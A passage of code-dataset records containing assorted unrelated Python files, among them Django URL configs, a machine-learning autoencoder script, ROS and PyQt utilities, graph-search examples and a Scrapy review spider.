add_cart, name='增加'),\n url('^minus/$', minus_cart, name='减少'),\n url('^del/$', del_cart, name='删除'),\n]","sub_path":"Asang/shopcart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"561598656","text":"\n\nfrom django.urls import path\nfrom django.contrib.auth import views as auth_views\n\nfrom . import views\n\n\nurlpatterns=[\n path('register/',views.register, name='register'),\n path('login/', auth_views.LoginView.as_view(template_name='account/login.html'), name='login'),\n path('logout/', auth_views.LogoutView.as_view(template_name='account/logout.html'), name='logout'),\n path('update/', views.profile_update, name='account_update'),\n path('follow/', views.follow_unfollow, name='follow_unfollow'),\n]","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"271558123","text":"import json\nimport pika\nimport os\n\nfrom threading import Thread\nfrom app import combat\nfrom app import creatures\nfrom app import rooms\nfrom app.publisher import publish\n\n# phase 2: command is pulled from command queue\ndef consume_command(ch, method, properties, body):\n command = body.decode(\"utf-8\")\n\n if command.split(\" \")[0] == \"attack\":\n try:\n target = command.split(\" \")[1]\n combat.attack_creature(target)\n except IndexError:\n publish(\"attack what?\", \"responses\")\n elif command == \"look\":\n rooms.get_current()\n creatures.list_creatures()\n else:\n publish(\"invalid command <<{}>>\".format(command), \"responses\")\n\n\n# this block is repeated for each new queue; parameterize?\n# this sets up the watcher for commands\namqp_url = os.environ['AMQP_URL']\nprint (\"ampq_url is {}\".format(ampq_url))\nconnection = pika.BlockingConnection(pika.URLParameters(amqp_url))\nchannel = connection.channel()\nchannel.queue_declare(queue='commands')\nchannel.basic_qos(prefetch_count=1)\nchannel.basic_consume(consume_command,\n queue='commands',\n no_ack=True)\nthread = Thread(target=channel.start_consuming)\nthread.start()\nthread.join(0)\n","sub_path":"backend/app/modules/command_watcher.py","file_name":"command_watcher.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"162172752","text":"import excel_parser as excel\nfrom googleapi import calculate_optimal_path\n\ndef main():\n input(\"Please select the excel file downloaded from setmore. Press any key to continue.\")\n file_path = excel.get_file()\n if '.xl' not in file_path:\n print(\"The selected file is not an excel file.\")\n return\n address_map = excel.get_address_map(file_path)\n addresses = [k for k,v in address_map]\n optimal_path = calculate_optimal_path(addresses)\n print(\"This is the optimal travel path:\")\n print(optimal_path)\n print(\"Select the folder where you would like to save the output.\")\n save_location = excel.get_save_location() + \"/optimal.xls\"\n print(save_location)\n excel.write_addresses(optimal_path, save_location)\n\n\n\n\n\nif __name__ == \"__main__\":\n main()\n input(\"Press any key to exit.\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"271264133","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 14 16:50:06 2017\n\n@author: wty\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\ndef plotFigureAllInOne(GD,NAG,Adadelta,RMSprop,Adam,X,Y,tuned='tuned',every=20,size=6,path=None):\n GD_loss_test = GD.getLossHistory(X,Y)\n NAG_loss_test = NAG.getLossHistory(X,Y)\n Adadelta_loss_test = Adadelta.getLossHistory(X,Y)\n RMSprop_loss_test = RMSprop.getLossHistory(X,Y)\n Adam_loss_test = Adam.getLossHistory(X,Y)\n \n _, ax = plt.subplots()\n ax.plot(range(len(GD_loss_test)),GD_loss_test,'.-',markersize=size,markevery=every,label=\\\n r'GD,$\\lambda$=%.2f,$\\eta$=%.2f'\\\n %(GD.get_params()['lamda'],GD.get_params()['eta']))\n ax.plot(range(len(NAG_loss_test)),NAG_loss_test,'s-',markersize=size,markevery=every,label=\\\n r'NAG,$\\lambda$=%.2f,$\\eta$=%.2f,$\\gamma$=%.2f'\\\n %(NAG.get_params()['lamda'],NAG.get_params()['eta'],NAG.get_params()['gamma']))\n ax.plot(range(len(Adadelta_loss_test)),Adadelta_loss_test,'*-',markersize=size,markevery=every,label=\\\n r'Adadelta,$\\lambda$=%.2f,$\\gamma$=%.2f'\\\n %(Adadelta.get_params()['lamda'],Adadelta.get_params()['gamma']))\n ax.plot(range(len(RMSprop_loss_test)),RMSprop_loss_test,'v-',markersize=size,markevery=every,label=\\\n r'RMSprop,$\\lambda$=%.2f,$\\eta$=%.2f'\\\n %(RMSprop.get_params()['lamda'],RMSprop.get_params()['eta']))\n ax.plot(range(len(Adam_loss_test)),Adam_loss_test,'d-',markersize=size,markevery=every,label=\\\n r'Adam,$\\lambda$=%.2f,$\\eta$=%.2f,$\\beta_1$=%.2f,$\\beta_2$=%.3f'\\\n %(Adam.get_params()['lamda'],Adam.get_params()['eta'],Adam.get_params()['Adam_beta1'],Adam.get_params()['Adam_beta2']))\n \n plt.legend()\n plt.title('Different %s estimators\\' performance'%tuned)\n ax.set(xlabel='Epoch', ylabel='Loss in testset with l2 norm')\n \n if path!=None:\n plt.savefig(path,format='pdf')\n \n plt.show()\n plt.close('all')\n \ndef plotFigureTrainTest(cls,X_train,Y_train,X_test,Y_test,every=20,size=6,path=None):\n loss_train = cls.getLossHistory(X_train,Y_train)\n loss_test = cls.getLossHistory(X_test,Y_test)\n accuracy_train = cls.getScoreHistory(X_train,Y_train)\n accuracy_test = cls.getScoreHistory(X_test,Y_test)\n \n _, ax = plt.subplots()\n ax_e = ax.twinx()\n ax.plot(range(len(loss_train)),loss_train,'*-b',markersize=size,markevery=every,label='train loss')\n ax.plot(range(len(loss_test)),loss_test,'v-g',markersize=size,markevery=every,label='test loss')\n ax_e.plot(range(len(accuracy_train)),accuracy_train,'*-r',markersize=size,markevery=every,label='train accuracy')\n ax_e.plot(range(len(accuracy_test)),accuracy_test,'v-m',markersize=size,markevery=every,label='test accuracy')\n \n ax.set(xlabel='Epoch', ylabel='Loss with l2 norm')\n ax_e.set_ylabel('Accuracy with threshold=%s'%str(cls.get_params()['threshold']))\n \n ax.legend(loc=4)\n ax_e.legend(loc=1)\n \n if path!=None:\n plt.savefig(path,format='pdf')\n \n plt.show()\n plt.close('all')","sub_path":"PlotFigure.py","file_name":"PlotFigure.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"235923198","text":"\"\"\" Libraries \"\"\"\nimport utils as utils\nimport numpy as np\nimport keras as K\nimport pprint\n\nfrom vgg16_places_365 import VGG16_Places365\n\n\"\"\" Path Params \"\"\"\nbase_path = '../../'\ntrain_path = base_path + 'train/'\ntest_path = base_path + 'test/'\nval_path = base_path + 'val/'\n\nresults_path = '../'\nweights_path = results_path + '_weights/'\ndistances_path = results_path + '_distances/'\nresults_path = results_path + 'results.json'\n\n\"\"\" Model Params \"\"\"\nimg_size = (224, 224)\nimg_width, img_height = img_size\nweights = 'places'\n\nmodel_name = 'vgg16_flatten_dae'\n\n\n\"\"\" Load images, labels and corresponding paths into np.arrays \"\"\"\nval_images, val_labels, val_paths = utils.read_prep_imgs(val_path, img_width, img_height, weights)\ntrain_images, train_labels, train_paths = utils.read_prep_imgs(train_path, img_width, img_height, weights)\ntest_images, test_labels, test_paths = utils.read_prep_imgs(test_path, img_width, img_height, weights)\n\n\"\"\" Load VGG16 pretrained on places365 data \"\"\"\nplaces_365_full = VGG16_Places365(weights = 'places', include_top = True) # include_top = True is faulty. Does not import lower layers\n\n# Forward pass through fully connected layer (fc1)\nplaces365_fc1 = K.models.Model(places_365_full.input, places_365_full.get_layer('flatten').output)\n\n\"\"\" Pass data through VGG16 \"\"\"\ntrain_feature_vecs = utils.get_feature_vecs(places365_fc1, train_images)\nval_feature_vecs = utils.get_feature_vecs(places365_fc1, val_images)\ntest_feature_vecs = utils.get_feature_vecs(places365_fc1, test_images)\n\n\"\"\" Corrupt input \"\"\"\nnoise_factor = 0.3\ntrain_corrupted = utils.corrupt_input(train_feature_vecs, noise_factor)\nval_corrupted = utils.corrupt_input(val_feature_vecs, noise_factor)\n\n\"\"\" Extend VGG16 w. Sparse Denoising Autoencoder \"\"\"\n# Model hyperparams\nregularization = K.regularizers.l1(1e-4)\nbottleneck_size = 1028\nn_epochs = 2000\nbatch_size = 128\n\n# Model definition\nautoencoder_input = places365_fc1.output_shape[1]\n\ninput_layer = K.layers.Input(shape = (autoencoder_input,))\n\nencoded = K.layers.Dense(4096, activation = 'relu')(input_layer)\nencoded = K.layers.Dense(bottleneck_size, activation = 'relu', activity_regularizer=regularization)(encoded)\n\ndecoded = K.layers.Dense(4096, activation = 'relu')(encoded)\ndecoded = K.layers.Dense(autoencoder_input, activation = 'sigmoid')(decoded)\n\nvgg16_fc1_dae = K.models.Model(input_layer, decoded)\nencoder = K.models.Model(input_layer, encoded)\n\nvgg16_fc1_dae.compile(optimizer = 'adadelta', loss = 'mse') \n\ncallbacks = utils.get_callbacks(model_name)\n\nvgg16_fc1_dae.fit(train_corrupted, train_feature_vecs,\n epochs = n_epochs, batch_size = batch_size,\n validation_data = (val_corrupted, val_feature_vecs),\n callbacks = callbacks)\n\nlast_epoch = callbacks[1].stopped_epoch\n\n\"\"\" Save the Model \"\"\"\nvgg16_fc1_dae.save(weights_path + model_name + '.hdf5')\n\n\"\"\" Evaluate model accuracy \"\"\"\nmatrix_path = distances_path + model_name + \"_{}\" + \".txt\"\ntest_dmatrix = utils.cosine_sim_matrix(encoder, test_feature_vecs)\nutils.write_to_distances(matrix_path.format('test'), test_dmatrix)\n\nval_dmatrix = utils.cosine_sim_matrix(encoder, val_feature_vecs)\nutils.write_to_distances(matrix_path.format('val'), val_dmatrix)\n\ntest_accuracy = utils.calc_accuracy(test_dmatrix, test_labels)\nval_accuracy = utils.calc_accuracy(val_dmatrix, val_labels)\n\ntest_group_accuracy = utils.calc_top_accuracy(test_dmatrix, test_labels)\nval_group_accuracy = utils.calc_top_accuracy(val_dmatrix, val_labels)\n\nresults_dict = {\n \"model_name\": model_name,\n \"preprocess\": weights,\n \"test_acc\": test_accuracy,\n \"val_acc\": val_accuracy,\n \"test_group_acc\": test_group_accuracy,\n \"val_group_acc\": val_group_accuracy,\n \"regularization\": regularization.get_config(),\n \"noise\": noise_factor,\n \"bottleneck_size\": bottleneck_size,\n \"trained_epochs\": last_epoch,\n \"batch_size\": batch_size \n}\n\npprint.pprint(results_dict)\n\nutils.write_to_results(results_dict, results_path)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"model_catalogue/w_image_augmentation/vgg16_flatten_dae.py","file_name":"vgg16_flatten_dae.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"445750081","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2020 Ryan L. Collins \n# and the Talkowski Laboratory\n# Distributed under terms of the MIT license.\n\n\"\"\"\nParse DENdb enhancer track\n\"\"\"\n\n\nimport argparse\nimport subprocess\n\n\ndef main():\n \"\"\"\n Main block\n \"\"\"\n\n # Parse command line arguments and options\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('csv', help='Path to DENdb enhancers.csv')\n parser.add_argument('outdir', help='Output directory')\n args = parser.parse_args()\n\n outfiles = {}\n\n for line in open(args.csv):\n eid, chrom, start, end, clid = line.rstrip().split(',')[0:5]\n if clid not in outfiles.keys():\n outfiles[clid] = open('{}/DENdb.{}.bed'.format(args.outdir, clid), 'w')\n outfiles[clid].write('\\t'.join([chrom, start, end]) + '\\n')\n\n for outfile in outfiles.values():\n outpath = outfile.name\n outfile.close()\n subprocess.run(['bgzip', '-f', outpath])\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"data_curation/genome_annotations/preprocess_DENdb.py","file_name":"preprocess_DENdb.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"442721733","text":"import json\nimport os\nimport subprocess\nimport sys\n\n\ndef install(package):\n subprocess.call([sys.executable, \"-m\", \"pip\", \"install\", package])\n\n\nsubprocess.call(['virtualenv', 'venv'])\nsubprocess.call(['source', 'venv/bin/activate'])\n# Example\nif __name__ == '__main__':\n install('python-telegram-bot')\n install('setproctitle')\n install('requests')\n install('Pillow')\n install('pymongo')\n install('dnspython')\n install('emoji')\n\nif os.path.isfile(os.path.dirname(os.path.abspath(__file__)) + '/src/conf.json'):\n with open(os.path.dirname(os.path.abspath(__file__)) + '/src/conf.json') as f:\n json.load(f)\nelse:\n raise EnvironmentError(\"Config file not existent or wrong format\")\n\nif os.path.isfile(os.path.dirname(os.path.abspath(__file__)) + '/src/name_dict.json'):\n with open(os.path.dirname(os.path.abspath(__file__)) + '/src/name_dict.json') as f:\n json.load(f)\nelse:\n raise EnvironmentError(\"Names file not existent or wrong format\")\n\ndirectory = os.path.dirname(os.path.abspath(__file__)) + '/res/tmp'\nif not os.path.exists(directory):\n os.makedirs(directory)\n","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"481071475","text":"# python OK0_identify.py -i samples/4.png -e model/eleven\n\nimport os\nimport argparse\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True)\nap.add_argument(\"-e\", \"--encodings\", required=True)\nargs = vars(ap.parse_args())\n\nos.system(\"rm attendance.txt\")\nos.system(\"python3 OK3_saveFaces.py --image \" + args[\"image\"])\nos.system(\"python OK4_findID.py -e \" + args[\"encodings\"])\nos.system(\"rm outputs/*\")\n\n\n\n","sub_path":"face/videos/folder/OK0_identify.py","file_name":"OK0_identify.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"295667447","text":"# #import the module\n# import networkx as nx #aliased\n# from networkx import Graph #for local access (instead of having to refer to nx.Graph())\n\n# #make the graph\n# G = Graph() #undirected graph\n\n# #access nodes/edges\n# print( G.nodes() ) #list of nodes\n# print( G.edges() ) #list of edges\n\n# #add nodes\n# G.add_node('A')\n# G.add_node('B')\n# G.add_nodes_from(['C','D'])\n\n# #add edges\n# G.add_edge('A','B')\n# G.add_edges_from([('B','C'), ('B','D'), ('D','A')]\n# G.add_edges_from([('C','E'), ('A','E')]) #creates node E\n\n###################example2\nimport networkx as nx\nfrom networkx import Graph\nimport matplotlib.pyplot as plt\n\nH = Graph()\n\nH.add_edges_from([\n ('Alice',\"Bob\"), ('Alice','Charles'), \n ('Bob', 'Gertrude'), ('Charles','Debbie'), \n ('Charles', 'Gertrude'), ('Debbie','Edward'),\n ('Debbie','Gertrude'),('Edward','Gertrude'),\n ('Edward','Gertrude'),('Gertrude','Herbert'),\n ('Herbert','Fred')\n])\n\n# print(\"Nodes:\")\n# for node in H.nodes_iter(): #iterable of nodes - go thru nodes in a list (dont need to convert to list then iter)\n# print(node)\n\n# print(\"\\nEdges:\")\n# for edge in H.edges_iter():\n# print(edge)\n\nnx.draw(H,pos=nx.spring_layout(H),node_color=\"pink\",edge_color='#89cff0',with_labels=True, node_size=2500, node_shape=\"o\", font_family=\"verdana\", font_size=10, font_color='#3F3F3F', width=2.0)\n# plt.show()\n\ndef print_depth_first_search(G, start, target):\n \"\"\"Depth-first search of Graph G,\n starting at Node start, ending at Node target\n \"\"\"\n #keep track of these 3 things:\n found = False\n to_visit = []\n visited = []\n to_visit.append(start) #start at start\n while(len(to_visit) > 0):\n current = to_visit.pop(0) #visit next node on list\n print(\"Visiting \"+str(current))\n visited.append(current)\n\n if current == target: #found target\n found = True; break\n\n for node in G.neighbors(current): #go through neighbors\n if not node in visited and node not in to_visit:\n to_visit.insert(0, node) #add to front (stack)\n\n if not found:\n print(\"Target not reachable in graph\")\n\nprint_depth_first_search(H, \"Edward\", \"Gertrude\")\n# Visiting Edward\n# Visiting Gertrude\n\ndef print_breadth_first_search(G, start, target):\n \"\"\"Breadth-first search of Graph G,\n starting at Node start, ending at Node target\n \"\"\"\n found = False\n to_visit = []\n visited = []\n to_visit.append(start) #start at start\n while(len(to_visit) > 0):\n current = to_visit.pop(0) #visit next node on list\n print(\"Visiting \"+str(current))\n visited.append(current)\n\n if current == target: #found target\n found = True; break\n\n for node in G.neighbors(current): #go through neighbors\n if not node in visited and node not in to_visit:\n to_visit.append(node) #add to end (queue)\n\n if not found:\n print(\"Target not reachable in graph\")\n\n# print_breadth_first_search(H, \"Edward\", \"Gertrude\")\n # Visiting Edward\n # Visiting Debbie\n # Visiting Gertrude","sub_path":"nx.py","file_name":"nx.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"165429722","text":"def brute_force_next_larger_element(arr, n):\n \"\"\"\n brute force\n \"\"\"\n for i in range(n):\n next_larger = -1\n for j in range(i + 1, n):\n if arr[j] > arr[i]:\n next_larger = arr[j]\n break\n print(next_larger, end=\" \")\n print()\n\n\ndef get_next_larger_element(arr, n):\n def handle_pop(next_greater_elements, index_stack, element_stack, current_element, current_element_index):\n if element_stack and element_stack[-1] < current_element:\n element_stack.pop()\n pop_index = index_stack.pop()\n next_greater_elements[pop_index] = current_element\n handle_pop(next_greater_elements, index_stack,\n element_stack, current_element, current_element_index)\n else:\n element_stack.append(current_element)\n index_stack.append(current_element_index)\n\n next_greater_elements = [-1 for i in range(n)]\n element_stack = []\n index_stack = []\n\n for i in range(n):\n current_element = arr[i]\n if not element_stack or element_stack[-1] >= current_element:\n element_stack.append(current_element)\n index_stack.append(i)\n else:\n handle_pop(next_greater_elements, index_stack,\n element_stack, current_element, i)\n return next_greater_elements\n\n\nfor _ in range(int(input())):\n n = int(input())\n arr = list(map(int, input().split()))\n next_greater_elements = get_next_larger_element(arr, n)\n print(*next_greater_elements)\n","sub_path":"Stacks/next_larger_element.py","file_name":"next_larger_element.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"587571046","text":"#!/usr/bin/python\n\nimport numpy\nimport rosbag, rospy, rostopic\nimport comma\nimport datetime\n\ntry:\n import rospy_message_converter\nexcept ImportError:\n msg = \"\"\"\ncannot import rospy_message_converter module; usually you can install it as\n sudo apt-get install ros-kinetic-rospy-message-converter\n(use your ROS distro name in place of kinetic). If the module is not available\nin your package manager, build and install the module manually.\n\"\"\"\n raise ImportError( msg )\n\ndef ros_message_to_csv_record( message, lengths={} ):\n \"\"\"\n Takes a ROS message and returns a comma.csv.struct (Python type) representing this message\n and a lambda function converting the message into an instance of the new comma.csv.struct\n Optional second argument allows to specify explicitly the length of variable-length values,\n such as strings. By default, take the lengths from the message itself.\n\"\"\"\n record_t, record_ctor = _ros_message_to_csv_record( message, lengths=lengths, prefix='' )\n for k, v in lengths.items():\n try:\n pos = record_t.fields.index( k )\n if record_t.types[ pos ][0] != 'S': raise RuntimeError( \"length %d specified for field '%s' that is not a string\" % ( v, k ) )\n except ValueError:\n raise RuntimeError( \"length %d specified for unknown field '%s'\" % ( v, k ) )\n return ( record_t, record_ctor )\n\ndef from_csv_supported_types( v ):\n if type( v ) != numpy.datetime64: return v\n microseconds = numpy.int64( v )\n return rospy.Time( microseconds / 1000000, ( microseconds % 1000000 ) * 1000 )\n\ndef _ros_message_to_csv_record( message, lengths={}, prefix='' ):\n \"\"\"\n Private implementation of ros_message_to_csv_record. Called recursively.\n\"\"\"\n from rospy_message_converter import message_converter as mc\n\n full_path = lambda name: prefix and prefix + \"/\" + name or name\n\n message_fields = mc._get_message_fields(message)\n fields = []\n types = []\n ctors = []\n # see Python programming FAQ why-do-lambdas-defined-in-a-loop-with-different-values-all-return-the-same-result\n # for the explanation of all the lambda signatures (and some function signatures in case of time)\n for field_name, field_type in message_fields:\n fields.append( field_name )\n if field_type in mc.ros_binary_types:\n ctor = lambda msg, field_name=field_name, field_type=field_type: mc._convert_to_ros_binary( field_type, getattr( msg, field_name ) )\n current_path = full_path( field_name )\n try:\n l = lengths[ current_path ]\n except KeyError:\n l = len( ctor( message ) )\n element_t = \"S%d\" % l\n elif field_type in mc.ros_primitive_types:\n ctor = lambda msg, field_name=field_name: getattr( msg, field_name )\n if field_type == 'string':\n current_path = full_path( field_name )\n try:\n l = lengths[ current_path ]\n except KeyError:\n l = len( ctor( message ) )\n element_t = \"S%d\" % l\n else:\n element_t = field_type\n elif field_type == 'time':\n def ctor( msg, field_name=field_name ):\n ts = getattr( msg, field_name )\n return numpy.datetime64( datetime.datetime.fromtimestamp( ts.secs + 1.0e-9 * ts.nsecs ) )\n element_t = 'datetime64[us]'\n elif field_type == 'duration':\n def ctor( msg, field_name=field_name ):\n ts = getattr( msg, field_name )\n return numpy.timedelta64( ts.secs, 's' ) + numpy.timedelta64( ts.nsecs, 'ns' )\n element_t = 'timedelta64[us]'\n elif mc._is_field_type_an_array(field_type):\n ctor = lambda msg, field_name=field_name: getattr( msg, field_name )\n m = mc.list_brackets.search( field_type )\n element_t = ( field_type[:m.start()], ( int(m.group()[1:-1]), ) )\n else:\n element_t, element_ctor = _ros_message_to_csv_record( getattr( message, field_name ), lengths=lengths, prefix=full_path( field_name ) )\n ctor = lambda msg, field_name=field_name, element_ctor=element_ctor: element_ctor( getattr( msg, field_name ) )\n ctors.append( ctor )\n types.append( element_t )\n\n new_t = comma.csv.struct( ','.join( fields ), *types )\n return ( new_t, lambda msg, new_t=new_t: numpy.array( [ tuple( [ c(msg) for c in ctors ] ) ], dtype = new_t ) )\n","sub_path":"python/snark/ros/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"20759780","text":"# coding: utf-8\nimport sys\nimport traceback\nimport os\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n\nclass FileDialog(QDialog):\n \"\"\"文件管理Demo\"\"\"\n def __init__(self, parent=None):\n super(FileDialog, self).__init__(parent)\n\n self.init_ui()\n self.init_slot()\n\n def init_ui(self):\n \"\"\"初始化UI\"\"\"\n try:\n self.resize(720, 480)\n self.setWindowTitle(\"文件管理Demo\")\n\n # 根路径\n root_path = os.path.expanduser(\"~\")\n\n # 文件夹数据\n self.file_model = QFileSystemModel()\n self.file_model.setRootPath(root_path)\n\n # 树形控件\n self.treeView = QTreeView(self)\n self.treeView.setModel(self.file_model)\n self.treeView.setRootIndex(self.file_model.index(root_path))\n # self.treeView.setColumnHidden(1, True)\n # self.treeView.setColumnHidden(2, True)\n # self.treeView.setColumnHidden(3, True)\n self.treeView.header().setSectionResizeMode(QHeaderView.Stretch)\n # 布局\n layout = QHBoxLayout()\n layout.addWidget(self.treeView)\n self.setLayout(layout)\n except:\n traceback.print_exc()\n\n def init_slot(self):\n \"\"\"初始化信号\"\"\"\n try:\n self.treeView.clicked.connect(self.select_file_event) # 选中某一项\n except:\n traceback.print_exc()\n\n def select_file_event(self):\n \"\"\"选中某一项\"\"\"\n try:\n currentIndex = self.treeView.currentIndex()\n file_path = self.file_model.filePath(currentIndex)\n print(file_path)\n except:\n traceback.print_exc()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n file_dialog = FileDialog()\n file_dialog.show()\n sys.exit(app.exec_())\n","sub_path":"简单demo/13文件管理.py","file_name":"13文件管理.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"46572905","text":"from django.conf.urls import include, url\nfrom rest_framework import routers\nfrom viewsets import MemberViewSet, WishViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register(r'members', MemberViewSet)\nrouter.register(r'wishes', WishViewSet)\n\nurlpatterns = [\n url(r'^', include(router.urls)),\n url(r'^auth/', include('rest_framework.urls', namespace='rest_framework')),\n]\n","sub_path":"wish/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"256310810","text":"# -*- coding: utf8 -*-\nfrom datetime import datetime\nimport re\n\nfrom scrapy.http import Request, HtmlResponse\nfrom scrapy.selector import Selector\n\nfrom alascrapy.spiders.base_spiders.ala_spider import AlaSpider\nfrom alascrapy.spiders.base_spiders.bazaarvoice_spider import BVNoSeleniumSpider\nfrom alascrapy.lib.generic import get_full_url, date_format\nimport alascrapy.lib.dao.incremental_scraping as incremental_utils\nfrom alascrapy.items import CategoryItem, ProductItem, ReviewItem, ProductIdItem\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom alascrapy.lib.selenium_browser import SeleniumBrowser\n\n\nclass Thinkcomputers_orgSpider(AlaSpider):\n name = 'thinkcomputers_org'\n allowed_domains = ['thinkcomputers.org']\n start_urls = ['http://www.thinkcomputers.org/category/reviews/']\n\n \n def parse(self, response):\n \n original_url = response.url\n product = response.meta.get(\"product\", {})\n review = response.meta.get(\"review\", {})\n \n url_xpath = u\"//link[@rel='next']/@href\"\n single_url = self.extract(response.xpath(url_xpath))\n if single_url:\n matches = None\n if \"\":\n matches = re.search(\"\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n return\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.parse)\n try:\n request.meta[\"product\"] = product\n except:\n pass\n try:\n request.meta[\"review\"] = review\n except:\n pass\n yield request\n urls_xpath = u\"//main//article//h2/a/@href\"\n params_regex = {}\n urls = self.extract_list(response.xpath(urls_xpath))\n \n for single_url in urls:\n matches = None\n if \"\":\n matches = re.search(\"\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n continue\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.level_2)\n \n \n try:\n request.meta[\"product\"] = product\n except:\n pass\n try:\n request.meta[\"review\"] = review\n except:\n pass\n yield request\n \n def level_2(self, response):\n \n original_url = response.url\n product = response.meta.get(\"product\", {})\n review = response.meta.get(\"review\", {})\n \n product_xpaths = { \n \n \"source_internal_id\": u\"substring-after(//link[@rel='shortlink']/@href,'p=')\",\n \n \n \"ProductName\":u\"//h1//text()\",\n \n \n \"OriginalCategoryName\":u\"//header//div[contains(@class,'entry-categories')]//text()\",\n \n \n \"PicURL\":u\"//main/descendant-or-self::img[1]/@src\",\n \n \n }\n product = self.init_item_by_xpaths(response, \"product\", product_xpaths)\n product['TestUrl'] = original_url\n picurl = product.get(\"PicURL\", \"\")\n if picurl and picurl[:2] == \"//\":\n product[\"PicURL\"] = \"https:\" + product[\"PicURL\"]\n if picurl and picurl[:1] == \"/\":\n product[\"PicURL\"] = get_full_url(original_url, picurl)\n manuf = product.get(\"ProductManufacturer\", \"\")\n if manuf == \"\" and u\"\"[:2] != \"//\":\n product[\"ProductManufacturer\"] = u\"\"\n try:\n product[\"OriginalCategoryName\"] = category['category_path']\n except:\n pass\n ocn = product.get(\"OriginalCategoryName\", \"\")\n if ocn == \"\" and u\"//header//div[contains(@class,'entry-categories')]//text()\"[:2] != \"//\":\n product[\"OriginalCategoryName\"] = u\"//header//div[contains(@class,'entry-categories')]//text()\"\n review_xpaths = { \n \n \"source_internal_id\": u\"substring-after(//link[@rel='shortlink']/@href,'p=')\",\n \n \n \"ProductName\":u\"//h1//text()\",\n \n \n \n \"TestDateText\":u\"substring-before(//header//p[@class='entry-meta']//time/@datetime,'T')\",\n \n \n \n \n \"TestSummary\":u\"//meta[@name='description']/@content\",\n \n \n \n \"Author\":u\"//p[@class='entry-meta']//span[@itemprop='author']//a//text()\",\n \n \n \"TestTitle\":u\"//h1//text()\",\n \n \n \n }\n review = self.init_item_by_xpaths(response, \"review\", review_xpaths)\n review['TestUrl'] = original_url\n try:\n review['ProductName'] = product['ProductName']\n review['source_internal_id'] = product['source_internal_id']\n except:\n pass\n awpic_link = review.get(\"AwardPic\", \"\")\n if awpic_link and awpic_link[:2] == \"//\":\n review[\"AwardPic\"] = \"https:\" + review[\"AwardPic\"]\n if awpic_link and awpic_link[:1] == \"/\":\n review[\"AwardPic\"] = get_full_url(original_url, awpic_link)\n\n review[\"DBaseCategoryName\"] = \"PRO\"\n \n\n review[\"SourceTestScale\"] = \"10\"\n \n in_another_page_xpath = u\"//ul[contains(@class,'pagination')]/li[.//a][last()]//a/@href\"\n pros_xpath = u\"//p//text()[string-length(normalize-space())>1][./preceding-sibling::*[string-length(normalize-space())>1][1][normalize-space()='Pros:' or normalize-space()='Pros']]\"\n cons_xpath = u\"//p//text()[string-length(normalize-space())>1][./preceding-sibling::*[string-length(normalize-space())>1][1][normalize-space()='Cons:' or normalize-space()='Cons']]\"\n rating_xpath = u\"substring-before(substring-after(//*[.//img[contains(@alt,'Award')]]/descendant-or-self::img[contains(@src,'rating')]/@src,'rating'),'_')\"\n award_xpath = u\"//*[.//img[contains(@alt,'Award')]]/descendant-or-self::img[1]/@alt\"\n award_pic_xpath = u\"//*[.//img[contains(@alt,'Award')]]/descendant-or-self::img[1]/@src\"\n \n test_verdict_xpath_1 = u'//div[@class=\"entry-content\"]/p[string-length(normalize-space())>1]//text()[normalize-space()][./preceding::text()[normalize-space()][1][contains(translate(.,\" \",\"\"),\"FinalThought\")]]'\n \n review[\"TestVerdict\"] = None\n in_another_page_url = None\n if 